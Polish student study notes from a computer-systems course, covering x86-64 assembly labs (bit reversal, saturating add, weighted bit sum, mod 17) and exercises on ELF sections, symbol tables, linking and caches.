    shrq    $8, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $8, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x0000FFFF0000FFFF, %rdx
    shrq    $16, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $16, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    shrq    $32, %rdi
    shlq    $32, %rax
    orq     %rax, %rdi
    
    ret

... czyli 40 instrukcji (łącznie z *ret*-em). Godbolt tłumaczy to tak (puste wiersze są ode mnie) z ustawioną flagą `-Og`:

bitrev:
        movq    %rdi, %rax
        shrq    %rdi
        movabsq $6148914691236517205, %rdx
        andq    %rdx, %rdi
        addq    %rax, %rax
        movabsq $-6148914691236517206, %rdx
        andq    %rdx, %rax
        orq     %rax, %rdi
        
        movq    %rdi, %rdx
        shrq    $2, %rdx
        movabsq $3689348814741910323, %rax
        andq    %rax, %rdx
        salq    $2, %rdi
        movabsq $-3689348814741910324, %rax
        andq    %rax, %rdi
        orq     %rdi, %rdx
        
        movq    %rdx, %rax
        shrq    $4, %rax
        movabsq $1085102592571150095, %rcx
        andq    %rcx, %rax
        salq    $4, %rdx
        movabsq $-1085102592571150096, %rcx
        andq    %rcx, %rdx
        orq     %rdx, %rax
        
        movq    %rax, %rdx
        shrq    $8, %rdx
        movabsq $71777214294589695, %rcx
        andq    %rcx, %rdx
        salq    $8, %rax
        movabsq $-71777214294589696, %rcx
        andq    %rcx, %rax
        orq     %rax, %rdx
        
        movq    %rdx, %rax
        shrq    $16, %rax
        movabsq $281470681808895, %rcx
        andq    %rcx, %rax
        salq    $16, %rdx
        movabsq $-281470681808896, %rcx
        andq    %rcx, %rdx
        orq     %rdx, %rax
        
        rolq    $32, %rax
        
        ret

Widać, że zamiast `shlq` mamy `salq` (czyli shiftowanie arytmetyczne w lewo zamiast logicznego) no i na końcu ta instrukcja `rolq` -- pytania są dwa: co ona robi (czy to samo co dwa shifty w przeciwnych kierunkach i OR) i czy wolno nam ją używać? Instrukcję `movabsq` można pewnie zamienić na `movq` tak jak w poprzedniej pracowni.

Przetestowałem oba rozwiązania i doszłem do następujących wyników/wniosków:
- Moje rozwiązanie nie działa.
- Rozwiązanie od Godbolta działa, nawet jeśli zmienić `movabsq` na `movq` i `salq` na `shlq`.
- W związku z poprzednim punktem, problem w moim rozwiązaniu leży chyba w maskach.

**Edit:** Znalazłem problem w moim rozwiązaniu -- maski są poprawne, ale wartość zapisana na końcu w *rax*-ie (czyli zwracana przez instrukcję `ret`) już nie. Zauważ, że wynik ostatniej instrukcji `orq` jest zapisywany nie do *rax*-a, tylko do... *rdi*. Jeśli naprawić ten błąd, kod działa poprawnie:

bitrev:
    movq    %rdi, %rax
    movq    $0x5555555555555555, %rdx
    shrq    %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x3333333333333333, %rdx
    shrq    $2, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $2, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x0F0F0F0F0F0F0F0F, %rdx
    shrq    $4, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $4, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x00FF00FF00FF00FF, %rdx
    shrq    $8, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $8, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x0000FFFF0000FFFF, %rdx
    shrq    $16, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $16, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    shrq    $32, %rdi
    shlq    $32, %rax
    orq     %rdi, %rax
    
    ret

student@home:~/.../bitrev22-soetens-gregory$ make all
gcc -g -no-pie -Og -Wall   -c -o main.o main.c
as -g  -o bitrev.o bitrev.s
gcc -g -no-pie  -o main main.o bitrev.o
./check-solution --procedure bitrev.s:bitrev --max-size 256 --bad-insns 'bswap,j*,call*' 
Sections size in "bitrev.o" object file: text=163, data=0, bss=0
Instructions per cycle: 1.9
Cycles per iteration: 21.05
Instructions per iteration: 40.0
./run-solution --procedure bitrev.s:bitrev --max-insns 48000   -- ./main -r 1000
Executed instructions: 40000
Mispredicted branches: 0/0 (0.0%)
Your program works correctly!

Nawet wartość CPI jest jakaś niska (przynajmniej w porównaniu z poprzednią pracownią) -- zostaje tylko wymyślić jak tu użyć mniej niż 32 instrukcje...

Możemy nieco uprościć kod i zmniejszyć ilość instrukcji. Trochę się wzorowałem na tym co wypluł godbolt, ale to ma dużo sensu (jak to odpowiednio pozmieniać). Kod jest ten sam (to odwracanie parami, czwókami itd.), natomiast wynikowy assembler ma chyba koło 31 instrukcji:

bitrev:
        movq    %rdi, %rax
        shrq    %rdi
        addq    %rax, %rax
        andl    $1431655765, %edi
        andl    $2863311530, %eax
        orq     %rax, %rdi
        
        movq    %rdi, %rdx
        salq    $2, %rdi
        shrq    $2, %rdx
        andl    $3435973836, %edi
        andl    $858993459, %edx
        orq     %rdi, %rdx
        
        movq    %rdx, %rax
        salq    $4, %rdx
        shrq    $4, %rax
        andl    $4042322160, %edx
        andl    $252645135, %eax
        orq     %rdx, %rax
        
        movq    %rax, %rdx
        salq    $8, %rax
        shrq    $8, %rdx
        andl    $4278255360, %eax
        andl    $16711935, %edx
        orq     %rax, %rdx
        
        movq    %rdx, %rax
        salq    $16, %rdx
        shrq    $16, %rax
        
        movl    %edx, %edx
        orq     %rdx, %rax
        rolq    $32, %rax
        
        ret

Tutaj jest taki trik, że zamiast robić and z maską i przesuwać, możemy najpierw przesunąć, a potem zrobić and z maską (ale odpowiednio inną). Chociaż ten trik chyba można na spokojnie pominąć i też wyjdzie <=32 instrukcje.

        movq    %rdi, %rax
        shrq    %rdi
        addq    %rax, %rax
        andl    $1431655765, %edi
        andl    $2863311530, %eax
        orq     %rax, %rdi
        
        movq    %rdi, %rdx
        salq    $2, %rdi
        shrq    $2, %rdx
        andl    $3435973836, %edi
        andl    $858993459, %edx
        orq     %rdi, %rdx
        
        movq    %rdx, %rax
        salq    $4, %rdx
        shrq    $4, %rax
        andl    $4042322160, %edx
        andl    $252645135, %eax
        orq     %rdx, %rax
        
        movq    %rax, %rdx
        salq    $8, %rax
        shrq    $8, %rdx
        andl    $4278255360, %eax
        andl    $16711935, %edx
        orq     %rax, %rdx
        
        movq    %rdx, %rax
        salq    $16, %rdx
        shrq    $16, %rax
        
        movl    %edx, %edx
        orq     %rdx, %rax
        rolq    $32, %rax
        
        ret

Źródła:
- https://stackoverflow.com/questions/2602823/in-c-c-whats-the-simplest-way-to-reverse-the-order-of-bits-in-a-byte
- https://stackoverflow.com/questions/36497605/how-to-make-gcc-generate-bswap-instruction-for-big-endian-store-without-builtins
- https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel

Pracownia 3. Dodawanie z nasyceniem
===

Zaimplementuj algorytm dodawania z nasyceniem dwóch ośmioelementowych wektorów
liczb typu `int8_t` składowanych w słowach maszynowych o typie `uint64_t`.
W arytmetyce z nasyceniem dla wartości typu `int8_t` zachodzi `80 + 60 = 127`,
a `(−40) + (−100) = −128`.

### Ważne:

1. Można używać wyłącznie instrukcji arytmetyczno-logicznych poznanych na
wykładzie i ćwiczeniach.
2. Użycie instrukcji sterujących (poza `ret`) oraz `cmov` i `set` jest
niedozwolone!
3. Modyfikowanie innych plików niż `addsb.s` jest niedozwolone!
4. Twoje rozwiązanie nie może być dłuższe niż 48 instrukcji.
5. Pełną liczbę punktów można uzyskać wyłącznie za rozwiązanie, które jest
nie dłuższe niż 36 instrukcji. Dokładniejsze informacje można znaleźć
w pliku `.github/classroom/autograding.json`.
6. Za rozwiązanie spełniające powyższe oraz dodatkowe wymogi określone
w pliku `Makefile`, można uzyskać punkt bonusowy.

### Pamiętaj:

1. Podpisz się w treści rozwiązania.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

### Źródła

Chyba to co szukamy, ale dla 64-bitowych liczb, nie dla 8-bitowych liczb zapisywanych w 64 bitach.

https://stackoverflow.com/questions/17580118/signed-saturated-add-of-64-bit-ints

Trzeba będzie zatem pewnie nieco przerobić kod.

Tutaj jest w sumie dość ciekawie, bo to są wektory 8 bitowych zmiennych. Czyli załóżmy, że mamy 16 różnych liczb 8-bitowych: a₀, a₁, $\cdots$ a₁₅. Wtedy te wejściowe zmienne wyglądają tak:

|Rejestr|bajt7|bajt6|bajt5|bajt4|bajt3|bajt2|bajt1|bajt0|
|-|-|-|-|-|-|-|-|-|
|%rdi|a₀|a₁|a₂|a₃|a₄|a₅|a₆|a₇|
|%rsi|a₈|a₉|a₁₀|a₁₁|a₁₂|a₁₃|a₁₄|a₁₅|

I te liczby poszczególne ze sobą trzeba dodać i wzrócić wektor wynikowy:

|Rejestr|bajt7|bajt6|bajt5|bajt4|bajt3|bajt2|bajt1|bajt0|
|-|-|-|-|-|-|-|-|-|
|%rax|a₀ + a₈|a₁ + a₉|a₂ + a₁₀|a₃ + a₁₁|a₄ + a₁₂|a₅ + a₁₃|a₆ + a₁₄|a₇ + a₁₅|

Przy czym musimy pamiętać, że to jest dodawanie z nasyceniem. Czyli zwracamy dodane liczby, ale przycięte do zakresu [-128;127].

Dodatkowe źródła:
- https://en.wikipedia.org/wiki/SWAR
- https://tldp.org/HOWTO/Parallel-Processing-HOWTO-4.html

Tutaj jest koncepcja "pakowania" mniejszych zmiennych w większe i robienia na nich równoległych operacji. Wydaje się, że drugi link daje dość dobry pogląd na wszystko.

### Prototyp rozwiązania

Kod rozwiązujący zadanie dla int32_t:

int saturating_add(int x , int y) { 
    int sum = (unsigned int) x + y;
    int mask = (~(x ^ y) & (x ^ sum)) >> 31;
    int max_min = (1 << 31) ^ (sum >> 31);
    return  (~mask & sum) + (mask & max_min);
}

Wersja dla 8 bitów:

int8_t saturating_add(int8_t x , int8_t y) { 
    int8_t sum = (uint8_t) x + y;
    int8_t mask = (~(x ^ y) & (x ^ sum)) >> 7;
    int8_t max_min = (1 << 7) ^ (sum >> 7);
    return  (~mask & sum) + (mask & max_min);
}

Wątek z rozwiazaniem na 32 bity:

https://codereview.stackexchange.com/questions/115869/saturated-signed-addition

Lista zadań nr 8
===

Książka, o któej mowa w [1] jest tutaj:
https://raw.githubusercontent.com/Sorosliu1029/CSAPP-Labs/master/Computer%20Systems%20A%20Programmers%20Perspective%20(3rd).pdf

Tam bardzo dużo można się dowiedzieć o tym co i jak się dzieje i dlaczego.

### Zadanie 1

Wyjaśnienie poszczególnych sekcji:
- .text - Kod maszynowy programu
- .rodata - ReadOnly data - Stringi formatowe dla funkcji printf (np. takie ciągi znakowe: "Int %d string: %s") czy tablice jumpów czy switchy.
- .data - Zainicjalizowane zmienne globalne i statyczne. Zmienne lokalne są obsługiwane przez stos i nie są tutaj wrzucone (ani w sekcji .bss).
- .bss - Niezainicjalizowane zmienne globalne i statyczne. Również te zmienne globalne i statyczne. które są zainicjalizowane zerem. Nie zajmuje miejsca w pliku .o, jest tylko placeholderem. Pliki obiektowe robią to rozróżnienie żeby zaoszczędzić miejsce.

Wynik wywołania polecania `nm swap.o`:

Oznaczenia:
- T -> .text (code) section
- U -> symbol is undefined
- D -> Initialized data section
- b -> .bss section
- t -> .text (code) section
- r -> .rodata Readonly section

Według manuala komendy `nm`:
If lowercase, the symbol is usually local; if uppercase, the symbol is global (external)

Wyjaśnienie symboli:
- addf - W sekcji kodu (.text), bo to po prostu funkcja.
- buf - Undefined (bo mamy extern, więc to będzie dołączone gdzieś z zewnątrz, z innego modułu)
- bufp0 - Zainicjalizowana zmienna
- bufp1 - Statyczna zmienna, ale nie zainicjalizowana. Więc będzie w .bss.
- count.0 - Statyczna zmienna, zainicjalizowana zerem. W .bss.
- incr - Funkcja, więc w .text
- .LC0, .LC1 - Etykiety skoków (.rodata)
- printf - Zewnętrzny symbol, Undefined
- sum - Zmienna statyczna, więc .bss
- swap - Funkcja, sekcja .text

Po co konsolidatorowi (linkerowi) tablica symboli (symbol table)?
https://blog.ramdoot.in/linkers-and-symbol-tables-40f85f6df3c9

### Zadanie 2


Link do wyjaśnienia czym są te sekcje:
http://www.sco.com/developers/gabi/latest/ch4.sheader.html

**.shstrtab**
This section holds section names.

**.strtab**
This section holds strings, most commonly the strings that represent the names associated with symbol table entries. If the file has a loadable segment that includes the symbol string table, the section's attributes will include the SHF_ALLOC bit; otherwise, that bit will be off.

W sumie większość informacji jest tutaj (z resztą to zadanie podaje do tego link):
http://www.sco.com/developers/gabi/latest/ch4.symtab.html
A to czego nie ma, albo nie ma wyjaśnień trzebaby po prostu po nazwie poszukać lepszych wyjaśnień w internecie.

Wydruk tej komendy `readelf -s -t swap.o`:

There are 13 section headers, starting at offset 0x4a0:

Section Headers:
  [Nr] Name
       Type              Address          Offset            Link
       Size              EntSize          Info              Align
       Flags
  [ 0] 
       NULL             0000000000000000  0000000000000000  0
       0000000000000000 0000000000000000  0                 0
       [0000000000000000]: 
  [ 1] .text
       PROGBITS         0000000000000000  0000000000000040  0
       000000000000007d 0000000000000000  0                 1
       [0000000000000006]: ALLOC, EXEC
  [ 2] .rela.text
       RELA             0000000000000000  0000000000000310  10
       0000000000000108 0000000000000018  1                 8
       [0000000000000040]: INFO LINK
  [ 3] .data
       PROGBITS         0000000000000000  00000000000000c0  0
       0000000000000008 0000000000000000  0                 8
       [0000000000000003]: WRITE, ALLOC
  [ 4] .rela.data
       RELA             0000000000000000  0000000000000418  10
       0000000000000018 0000000000000018  3                 8
       [0000000000000040]: INFO LINK
  [ 5] .bss
       NOBITS           0000000000000000  00000000000000c8  0
       0000000000000010 0000000000000000  0                 8
       [0000000000000003]: WRITE, ALLOC
  [ 6] .rodata.str1.1
       PROGBITS         0000000000000000  00000000000000c8  0
       000000000000000a 0000000000000001  0                 1
       [0000000000000032]: ALLOC, MERGE, STRINGS
  [ 7] .rodata.cst8
       PROGBITS         0000000000000000  00000000000000d8  0
       0000000000000008 0000000000000008  0                 8
       [0000000000000012]: ALLOC, MERGE
  [ 8] .comment
       PROGBITS         0000000000000000  00000000000000e0  0
       0000000000000028 0000000000000001  0                 1
       [0000000000000030]: MERGE, STRINGS
  [ 9] .note.GNU-stack
       PROGBITS         0000000000000000  0000000000000108  0
       0000000000000000 0000000000000000  0                 1
       [0000000000000000]: 
  [10] .symtab
       SYMTAB           0000000000000000  0000000000000108  11
       00000000000001c8 0000000000000018  14                8
       [0000000000000000]: 
  [11] .strtab
       STRTAB           0000000000000000  00000000000002d0  0
       000000000000003d 0000000000000000  0                 1
       [0000000000000000]: 
  [12] .shstrtab
       STRTAB           0000000000000000  0000000000000430  0
       000000000000006b 0000000000000000  0                 1
       [0000000000000000]: 

Symbol table '.symtab' contains 19 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 SECTION LOCAL  DEFAULT    5 
     2: 0000000000000000     8 FUNC    LOCAL  DEFAULT    1 incr
     3: 0000000000000000     4 OBJECT  LOCAL  DEFAULT    5 count.0
     4: 0000000000000000     0 SECTION LOCAL  DEFAULT    6 
     5: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT    6 .LC1
     6: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT    7 .LC0
     7: 0000000000000004     4 OBJECT  LOCAL  DEFAULT    5 sum
     8: 0000000000000008     8 OBJECT  LOCAL  DEFAULT    5 bufp1
     9: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 
    10: 0000000000000000     0 SECTION LOCAL  DEFAULT    3 
    11: 0000000000000000     0 SECTION LOCAL  DEFAULT    7 
    12: 0000000000000000     0 SECTION LOCAL  DEFAULT    8 
    13: 0000000000000000     0 SECTION LOCAL  DEFAULT    9 
    14: 0000000000000008    72 FUNC    GLOBAL DEFAULT    1 addf
    15: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND printf
    16: 0000000000000050    45 FUNC    GLOBAL DEFAULT    1 swap
    17: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND buf
    18: 0000000000000000     8 OBJECT  GLOBAL DEFAULT    3 bufp0

Tutaj jest ogólna informacja co te kolumny znaczą:
https://stackoverflow.com/questions/3065535/what-are-the-meanings-of-the-columns-of-the-symbol-table-displayed-by-readelf

Wiadomo gdzie są nagłówki po poszczególne sekcje z tego, że mamy podane adresy wszędzie. Tu trzebaby po prostu zwrócić uwagę jaka jest pozycja względem początku sekcji dla każdego z symboli.

### Zadanie 3
Słabe i silne symbole (tam jest sekcja, która o tym mówi):
https://leondong1993.github.io/2017/04/strong-weak-symbol/

Jeszcze nie odpaliłem tego programu, ale to co tutaj widzę:
main w micmatch-b jest niezainicjalizowana. Linker połączy to z funkcją main w mismatch-a.

Jeśli natomiast w p2 zrobimy coś takiego:

    main = 'a';

To wyskoczy nam segmentation fault! Głównie dlatego, że nadpisujemy lokalizację main! Albo ja tak to rozumiem.

Jeśli natomiast wrzucimy coś takiego w mismatch-b.c:

    char main = 'a';

Wyskoczy "multiple definitions of main". Bo nadal linkujemy tak samo. Symbol main jest dostępny i w pliku a, i w pliku b. W obu mają różne definicje, a oba są silne. Więc jest problem z linkowaniem.

Tutaj za to jest o tym czemu podawanie flagi `-fno-common` to dobry pomysł. Long story short: Wtedy nie ma sekcji .common, co wyklucza taką sytuację jak tutaj. Ta sekcja jest dostępna w plikach .o, a potem linker wszystkie symbole z .common zastępuj odpowiednimi definicjami z innych plików.
https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html

Bo załóżmy, że mamy tę zmienną main w dwóćh plikach jak tutaj. To dla jednego pliku .o będziemy mieli main w .common, a w drugim pliku takiej sekcji już nie będzie (będzie to jako funkcja main w sekcji .text). Linker połączy nam tę funkcję main z tym symbolem z .common. Bez tej sekcji .common nie będzie tego łączenia wspólnych symboli i ta zmienna main będzie po prostu niezainicjalizowana.

### Zadanie 4
Tutaj można po prostu poczytać co któy nagłówek znaczy i po co jest. Tam są między innymi informacje o tym na jakiej architekturze ten program działa, jaka jest kolejność bajtów (little endian czy big endian) itp.

Pierwsza instrukcja jest w "entry point address". Jest on ustalony, bo na ten wirtualny adres będzie się mapował odpowiedni adres w pamięci jak już program się uruchomi.

Jak widać tutaj, to nie jest adres main:
A ten adres odnosi się do tego:

Segmenty programu będą załądowane pod takie adresy, które są podane tutaj:

Tutaj też widać co zostanie załadowane do pamięci, a co jest Read a co ReadWrite.

### Zadanie 5
Tutaj problem polega na tym, że my funkcją somestr zwracamy stringa readOnly. A znowu w main próbujemy zmodyfikować [5] indeks w tym stringu. No to jasne, że musi się skończyć błędem dostępu do pamięci, bo tego nie można modyfikować.

Swoja drogą, to co tu chcemy zrobić to "skrócić". Tego stringa. Po prostu tam gdzie jest wpisane '\0' jako wartość, tam jest koniec stringa. To musimy to zmodyfikować tak, żeby ten napis "Hello, World!" można było modyfikować. Czyli na przykład tak:

char returnVal[] = "Hello, world!";

char *somestr(void) {
    return returnVal;
}

Wtedy nam printuje na ekran "Hello". Natomiast "Hello, World!" już nie ląduje w sekcji read only, ale jako zmienna w .data.

Przed zmianą:
Po zmianie:

Oczywiście można puścić debugger (chociaż na zajęciach pewnie nie będzie potrzeby mimo wszystko jak pokażesz te wydruki) i pokazać co się dzieje i skąd się biorą problemy.

Bo tu generalnie chodzi o to, że to tak jakbyś miał zmienną "const" i chciał ją zmieniać. Nie zadziała z samego założenia czym zmienna "const" jest.

### Zadanie 6

ODpowiem od razu na końcowe pytanie: NIE.
Ideą sekcji .bss jest to, żeby ona nie zajmowała miejsca. Bo tam są niezainicjalizowane zmienne i nie chcemy żeby zajmowały miejsce (bo może w ogóle nie będą wykorzystane w programie). A tutaj to co widzimy pod spodem służy do tego, żeby mieć punkt odniesienia względem początku sekcji gdzie co w tej sekcji jest.

Czym są skłądowe tych rekordó relokacji to już można przeczytać w tym 7.7.1 w książce [1].

Wydruk wygląda tak:

### Zadanie 7
O wpisach relokacji typu R_X86_64_PC32 i R_X86_64_32 można poczytać w książce i jak ta relokacja działa i dlaczego tak.

Tutaj więcej o tej tabeli:
https://stackoverflow.com/questions/19593883/understanding-the-relocation-table-output-from-readelf

### Zadanie 8


To też myślę można w dużej mierze zrobić dzięki wiedzy z poprzedniego zadania.

### Zadanie 9
TODO

### Zadanie 10
TODO

Pracownia 4. Ważona suma bitów
===

W pliku `wbs.s` zaprogramuj w asemblerze `x86-64` procedurę o sygnaturze
`uint64_t wbs(uint64_t)`. Dla danego słowa maszynowego
<tt>b_n-1...b₀</tt> procedura ma wyznaczyć jego
ważoną sumę bitów (przyjmujemy, że waga bitu <tt>b_i</tt>, wynosi
<tt>i</tt>), czyli wynikiem działania programu powinna być suma
<tt>Σ b_i*i</tt>. Rozwiązanie ma działać w złożoności `O(log n)`,
gdzie `n` jest długością słowa maszynowego w bitach.

### Ważne

1. Można używać wyłącznie instrukcji arytmetyczno-logicznych poznanych na
wykładzie i ćwiczeniach.
2. Użycie instrukcji sterujących (poza `ret`) jest niedozwolone!
3. Modyfikowanie innych plików niż `wbs.s` jest niedozwolone!
4. Twoje rozwiązanie nie może być dłuższe niż 90 instrukcji.
5. Za rozwiązania używające funkcji `popcnt` będzie można uzyskać do 2 punktów.
6. Pełną liczbę punktów można uzyskać wyłącznie za rozwiązanie, które jest
nie dłuższe niż 50 instrukcji. Dokładniejsze informacje można znaleźć
w pliku `.github/classroom/autograding.json`.
7. Za rozwiązanie spełniające powyższe oraz dodatkowe wymogi określone
w pliku `Makefile`, można uzyskać punkt bonusowy.

### Pamiętaj:

1. Podpisz się w treści rozwiązania.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

### Wskazówki i tropy:
Możemy sobie to podzielić trochę. Załóżmy, że mamy policzyć taką sumę, ale 8-bitową. Wtedy mamy bity: $b_7, b_6, b_5, ... b_0$

|Bity|$b_7$|$b_6$|$b_5$|$b_4$|$b_3$|$b_2$|$b_1$|$b_0$|
|-|-|-|-|-|-|-|-|-|
|Wagi|7|6|5|4|3|2|1|0|

Żeby to policzyć liczymy tak:
$(0*b_0) + (1*b_1) + (2*b_2) + (3*b_3) + (4*b_4) + (5*b_5) + (6*b_6) + (7*b_7)$

Oczywiście ten pierwszy wyraz możemy uprościć, bo to i tak będzie 0. To teraz pogrupujmy te wyrazy w taki sposób:

$b_1 + [2*(b_2 + b_3) + b_3] + [4*(b_4+b_5) + b_5] + [6*(b_6+b_7) + b_7]$

Okej, to wyciągnę sobie stąd to co mogę:

$b_1 + b_3 + b_5 + b_7 + 2*(b_2 + b_3) + 4*(b_4+b_5) + 6*(b_6+b_7)$

I teraz wyciągam sobie 2 przed nawias:

$b_1 + b_3 + b_5 + b_7 + 2* [(b_2 + b_3) + 2*(b_4+b_5) + 3*(b_6+b_7)]$

I rozbiję sobie $3*(b_6+b_7)$ na $2*(b_6+b_7) + (b_6+b_7)$:

$b_1 + b_3 + b_5 + b_7 + 2* [(b_2 + b_3 + b_6+b_7) + 2*(b_4+b_5) + 2*(b_6+b_7)]$

I znowu wyciągam przed nawias 2:

$b_1 + b_3 + b_5 + b_7 + 2* [(b_2 + b_3 + b_6+b_7) + 2*(b_4+b_5 + b_6+b_7)]$

$b_1 + b_3 + b_5 + b_7 + 2*(b_2 + b_3 + b_6+b_7) + 4*(b_4+b_5 + b_6+b_7)$

I tutaj już widać pattern działania trochę. Bo jak widzisz, mamy tutaj:

(suma wyrazów nieparzystych) + 2*(suma parzystych par) + 4*(suma parzystych czwórek)

I dla wersji 64-bitowej będzie po prostu rozszerzenie tego chematu:

(suma wyrazów nieparzystych) + 2*(suma parzystych par) + 4*(suma parzystych czwórek) + 8*(suma parzystych ósemek) + 16*(suma parzystych szesnastek) + 32*(suma parzystych trzydziestekdwójek)

$\sum_{i=1}^{63} [i \cdot b_i] = b_1 + \sum_{j=1}^{31} [2j \cdot (b_{2j} + b_{2j+1}) + b_{2j+1}]$

$= b_1 + \sum_{j=1}^{31} [2j \cdot (b_{2j} + b_{2j+1})] + \sum_{j=1}^{31} b_{2j+1}$

$= \sum_{j=1}^{31} [2j \cdot (b_{2j} + b_{2j+1})] + \sum_{j=0}^{31} b_{2j+1}$

$= \sum_{j=0}^{31} b_{2j+1} + 2 \cdot \sum_{j=1}^{31} [j \cdot (b_{2j} + b_{2j+1})]$

Kod, który udało mi się uzyskać (dla 8-bitowej):

#include <stdio.h>
#include <inttypes.h>

uint8_t wbs(uint8_t input) {
    uint8_t sum_of_ones = input;
    sum_of_ones = input & 0x55;
    sum_of_ones += ((input >> 1) & 0x55);

    uint8_t sum_of_pairs = sum_of_ones & 0xCC;
    sum_of_pairs += (sum_of_pairs >> 4);
    
    sum_of_pairs >>= 2;
    sum_of_pairs &= 0xF;
    sum_of_pairs <<= 1;

    uint8_t sum_of_fours = sum_of_ones & 0x30;
    sum_of_fours += (sum_of_ones >> 2) & 0x30;
    sum_of_fours >>= 2;
    
    uint8_t sum = sum_of_fours + sum_of_pairs;
    
    // b7 0 b5 0 b3 0 b1 0
    uint8_t sum_of_odds = input & 0xAA;
    
    // |1 |b5+b7| b3+b5 | b1+b3 | 0
    sum_of_odds += sum_of_odds >> 2;
    
    // |0 |b5+b7| 0 0 | b1+b3 | 0
    sum_of_odds &= 0x66;
    
    // |0 |b5+b7| b5+b7+b1+b3 | 0
    sum_of_odds += (sum_of_odds >> 4);

    // |0 |00| b5+b7+b1+b3 | 0
    sum_of_odds = (sum_of_odds & 0x1E);

    // |00 |00| b5+b7+b1+b3
    sum_of_odds >>= 1;

    return sum_of_odds + sum;
}

int main() {
    //printf("%"PRIu8, wbs(0xFF));
    printf("0x%x", wbs(0xFF));
}

### Początek kodu dla 64 bitów

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t wbs(uint64_t b) {
    uint64_t r;
    uint64_t mask = 0x5555555555555555;

    uint64_t sums_by_two = (b & mask) + ((b >> 1) & mask);

    mask = 0xFFFFFFFF00000000;
    uint64_t sums1 = sums_by_two & mask;
    mask = 0xcccccccccccccccc;
    sums1 = (sums1 & mask) + ((sums1 >> 2) & mask);

    r = sums1;
    return r;
}

int main() {
    printf("%" PRIx64 "\n", wbs(0xFFFFFFFFFFFFFFFF));
}

Pracownia 5. Reszta z dzielenia przez 17
===
W pliku `mod17.s` zaprogramuj w asemblerze `x86-64` procedurę o sygnaturze
`int mod17(uint64_t)`, która liczy resztę z dzielenia danej liczby przez 17.
Cała trudność zadania polega na tym, że rozwiązanie **nie może** używać
instrukcji mnożenia ani dzielenia.

_{*Wskazówka:* Przypomnij sobie następującą własność reszty z dzielenia
przez 11: różnica sum cyfr (dziesiętnych) na parzystych i nieparzystych
pozycjach ma taką samą resztę z dzielenia przez 11 co cała liczba, np.
reszta z dzielenia 183716 przez 11 to 5, bo (8+7+6)-(1+3+1) = 16, a reszta
z dzielenia 16 przez 11 to właśnie 5. Okazuje się, że analogiczna własność
zachodzi w dowolnym systemie pozycyjnym, np. w systemie szesnastkowym łatwo
liczy się resztę z dzielenia przez 17.}

### Ważne:

1. Można używać wyłącznie instrukcji arytmetyczno-logicznych poznanych na
wykładzie i ćwiczeniach z wyłączeniem instrukcji mnożenia, dzielenia i
podobnych.
2. Użycie instrukcji `div` lub `idiv` jest niedozwolone!
3. Modyfikowanie innych plików niż `mod17.s` jest niedozwolone!
4. Twoje rozwiązanie nie może być dłuższe niż 50 instrukcji.
5. Pełną liczbę punktów można uzyskać wyłącznie za rozwiązanie, które jest
nie dłuższe niż 35 instrukcji oraz nie używa instrukcji sterujących
(poza `ret`). Dokładniejsze informacje można znaleźć
w pliku `.github/classroom/autograding.json`.
6. Za rozwiązanie spełniające powyższe oraz dodatkowe wymogi określone
w pliku `Makefile`, można uzyskać punkt bonusowy.

### Pamiętaj:

1. Podpisz się w treści rozwiązania.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

# Lista 10

Tutaj warto obejrzeć wykład stąd:
https://www.youtube.com/watch?v=zDJxqQ3J8r0&list=PLbY-cFJNzq7z_tQGq-rxtq_n2QQDf5vnM&index=11
Bo to pokrywa w sumie materiał listy (z tego co widzę)

#### Zadanie 1

Tutaj jest podobne zadanie, więc i obliczenia powinny być podobne (z dokładnością do danych).
https://www.gatevidyalay.com/tag/average-seek-time-formula/

#### Zadanie 2

Zadanie polega na tym że chcemy odczytać sobie n sektorów. No i na każdy sektor składa się 512 bajtów. To mamy dwa przypadki:

a) Po każdym przeczytanym bajcie mamy przerwanie (czyli procesor przełącza się na obsługę tego przeczytanego bajtu)
b) Po każdym przeczytanym całym sektorze mamy przerwanie.

Trzeba tutaj pokaza jak bardzo ten czas czytania n sektorów będzie się różnił jak dodamy kontroler DMA. Powinien się znacząco różnić (bo bez niego mamy 512 razy więcej przerwań, które zabierają nam czas).

#### Zadanie 3

#### Zadanie 4


Czyli mamy 3 poziomy pamięci cache: L1, L2, L3.
Poza tym:

|Czas w cyklach|Prawdopodobieństwo, że blok się tutaj znajduje|
|-|-|
|A(L1) = 4|H(L1) = 0.9|
|A(L2) = 12|H(L2) = 0.95|
|A(L3) = 40|H(L3) = 0.98|
